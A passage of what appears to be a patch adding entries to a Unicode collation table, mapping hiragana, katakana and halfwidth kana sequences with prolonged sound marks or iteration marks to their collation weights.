+FF7E 30FC ; [.3D68.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7E FF70 ; [.3D68.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+305B 30FC ; [.3D68.0020.0011.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER SE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30BC 30FC ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER ZE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30BB 3099 30FC ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7E FF9E 30FC ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7E FF9E FF70 ; [.3D68.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SE, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+305C 30FC ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER ZE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+305B 3099 30FC ; [.3D68.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER SE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C6 30FC ; [.3D6D.0020.0011.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER TE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF83 30FC ; [.3D6D.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF83 FF70 ; [.3D6D.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3066 30FC ; [.3D6D.0020.0011.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER TE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C7 30FC ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER DE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C6 3099 30FC ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF83 FF9E 30FC ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF83 FF9E FF70 ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3067 30FC ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER DE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3066 3099 30FC ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30CD 30FC ; [.3D72.0020.0011.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER NE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF88 30FC ; [.3D72.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF88 FF70 ; [.3D72.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+306D 30FC ; [.3D72.0020.0011.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER NE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D8 30FC ; [.3D77.0020.0011.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER HE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8D 30FC ; [.3D77.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8D FF70 ; [.3D77.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3078 30FC ; [.3D77.0020.0011.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER HE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D9 30FC ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER BE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D8 3099 30FC ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8D FF9E 30FC ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8D FF9E FF70 ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3079 30FC ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER BE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3078 3099 30FC ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30DA 30FC ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER PE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D8 309A 30FC ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8D FF9F 30FC ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8D FF9F FF70 ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+307A 30FC ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER PE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3078 309A 30FC ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D5E.0020.0007.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E1 30FC ; [.3D7C.0020.0011.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER ME, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF92 30FC ; [.3D7C.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER ME, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF92 FF70 ; [.3D7C.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER ME, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3081 30FC ; [.3D7C.0020.0011.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER ME, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30EC 30FC ; [.3D85.0020.0011.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER RE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF9A 30FC ; [.3D85.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF9A FF70 ; [.3D85.0020.0011.0002][.3D5E.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RE, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+308C 30FC ; [.3D85.0020.0011.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER RE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F1 30FC ; [.3D89.0020.0011.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER WE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3091 30FC ; [.3D89.0020.0011.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER WE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F9 30FC ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER VE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F1 3099 30FC ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER WE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F6 30FC ; [.3D63.0020.000F.0002][.3D5E.0020.0007.0002] # <KATAKANA LETTER SMALL KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3096 30FC ; [.3D63.0020.000F.0001][.3D5E.0020.0007.0002] # <HIRAGANA LETTER SMALL KE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F8 30FC ; [.3D77.0020.000F][.3D5E.0020.0007.0002] # <KATAKANA LETTER SMALL HE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31FE 30FC ; [.3D85.0020.000F][.3D5E.0020.0007.0002] # <KATAKANA LETTER SMALL RE, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A9 30FC ; [.3D5F.0020.000F.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER SMALL O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6B 30FC ; [.3D5F.0020.000F.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6B FF70 ; [.3D5F.0020.000F.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL O, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3049 30FC ; [.3D5F.0020.000F.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER SMALL O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30AA 30FC ; [.3D5F.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF75 30FC ; [.3D5F.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF75 FF70 ; [.3D5F.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER O, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+304A 30FC ; [.3D5F.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER O, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B3 30FC ; [.3D64.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER KO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7A 30FC ; [.3D64.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7A FF70 ; [.3D64.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3053 30FC ; [.3D64.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER KO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B4 30FC ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER GO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B3 3099 30FC ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7A FF9E 30FC ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7A FF9E FF70 ; [.3D64.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3054 30FC ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER GO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3053 3099 30FC ; [.3D64.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER KO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30BD 30FC ; [.3D69.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER SO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7F 30FC ; [.3D69.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7F FF70 ; [.3D69.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+305D 30FC ; [.3D69.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER SO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30BE 30FC ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER ZO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30BD 3099 30FC ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7F FF9E 30FC ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7F FF9E FF70 ; [.3D69.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+305E 30FC ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER ZO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+305D 3099 30FC ; [.3D69.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER SO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C8 30FC ; [.3D6E.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER TO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF84 30FC ; [.3D6E.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF84 FF70 ; [.3D6E.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3068 30FC ; [.3D6E.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER TO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C9 30FC ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER DO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C8 3099 30FC ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF84 FF9E 30FC ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF84 FF9E FF70 ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3069 30FC ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER DO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3068 3099 30FC ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30CE 30FC ; [.3D73.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER NO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF89 30FC ; [.3D73.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF89 FF70 ; [.3D73.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+306E 30FC ; [.3D73.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER NO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30DB 30FC ; [.3D78.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER HO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8E 30FC ; [.3D78.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8E FF70 ; [.3D78.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+307B 30FC ; [.3D78.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER HO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30DC 30FC ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER BO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30DB 3099 30FC ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8E FF9E 30FC ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8E FF9E FF70 ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+307C 30FC ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER BO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+307B 3099 30FC ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30DD 30FC ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER PO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30DB 309A 30FC ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8E FF9F 30FC ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8E FF9F FF70 ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+307D 30FC ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER PO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+307B 309A 30FC ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D5F.0020.0007.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E2 30FC ; [.3D7D.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER MO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF93 30FC ; [.3D7D.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF93 FF70 ; [.3D7D.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3082 30FC ; [.3D7D.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER MO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E7 30FC ; [.3D81.0020.000F.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER SMALL YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6E 30FC ; [.3D81.0020.000F.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6E FF70 ; [.3D81.0020.000F.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3087 30FC ; [.3D81.0020.000F.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER SMALL YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E8 30FC ; [.3D81.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF96 30FC ; [.3D81.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF96 FF70 ; [.3D81.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3088 30FC ; [.3D81.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER YO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30ED 30FC ; [.3D86.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER RO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF9B 30FC ; [.3D86.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF9B FF70 ; [.3D86.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+308D 30FC ; [.3D86.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER RO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F2 30FC ; [.3D8A.0020.0011.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER WO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF66 30FC ; [.3D8A.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF66 FF70 ; [.3D8A.0020.0011.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3092 30FC ; [.3D8A.0020.0011.0001][.3D5F.0020.0007.0002] # <HIRAGANA LETTER WO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30FA 30FC ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER VO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F2 3099 30FC ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <KATAKANA LETTER WO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF66 FF9E 30FC ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF66 FF9E FF70 ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D5F.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WO, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F3 30FC ; [.3D6E.0020.000F][.3D5F.0020.0007.0002] # <KATAKANA LETTER SMALL TO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F9 30FC ; [.3D78.0020.000F][.3D5F.0020.0007.0002] # <KATAKANA LETTER SMALL HO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31FF 30FC ; [.3D86.0020.000F][.3D5F.0020.0007.0002] # <KATAKANA LETTER SMALL RO, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A1 30FD ; [.3D5A.0020.000F.0002][.3D5A.0020.0010.0002] # <KATAKANA LETTER SMALL A, KATAKANA ITERATION MARK>
+FF67 30FD ; [.3D5A.0020.000F.0002][.3D5A.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL A, KATAKANA ITERATION MARK>
+3041 309D ; [.3D5A.0020.000F.0001][.3D5A.0020.0010.0002] # <HIRAGANA LETTER SMALL A, HIRAGANA ITERATION MARK>
+30A2 30FD ; [.3D5A.0020.0011.0002][.3D5A.0020.0010.0002] # <KATAKANA LETTER A, KATAKANA ITERATION MARK>
+FF71 30FD ; [.3D5A.0020.0011.0002][.3D5A.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER A, KATAKANA ITERATION MARK>
+3042 309D ; [.3D5A.0020.0011.0001][.3D5A.0020.0010.0002] # <HIRAGANA LETTER A, HIRAGANA ITERATION MARK>
